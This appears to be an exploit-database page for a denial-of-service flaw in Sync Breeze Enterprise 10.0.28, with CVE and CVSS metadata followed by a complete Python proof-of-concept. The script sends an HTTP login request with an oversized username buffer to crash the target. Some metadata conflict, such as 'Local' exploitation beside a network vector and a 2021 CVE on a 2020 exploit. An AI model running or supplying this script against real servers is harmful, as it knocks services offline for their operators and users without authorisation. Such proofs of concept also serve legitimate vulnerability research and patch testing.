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Sync Breeze Enterprise 10.0.28 Denial of-Service (PoC)

CVE	Category	Price	Severity
CVE-2021-24192	CWE-400	Not specified	High

Author	Risk	Exploitation Type	Date
S Patel	High	Local	2020-06-16

CPE
cpe:cpe:/o:sync_breeze:enterprise:10.0.28

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020060057

Below is a copy:

Sync Breeze Enterprise 10.0.28 Denial of-Service (PoC)

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]
  port = 80
  size = 800
  inputBuffer = b"A" * size
  content = b"username=" + inputBuffer + b"&password=A"

  buffer = b"POST /login HTTP/1.1\r\n"
  buffer += b"Host: " + server.encode() + b"\r\n"
  buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
  buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
  buffer += b"Referer: http://10.11.0.22/login\r\n"
  buffer += b"Connection: close\r\n"
  buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
  buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
  buffer += b"\r\n"
  buffer += content

  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buffer)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")

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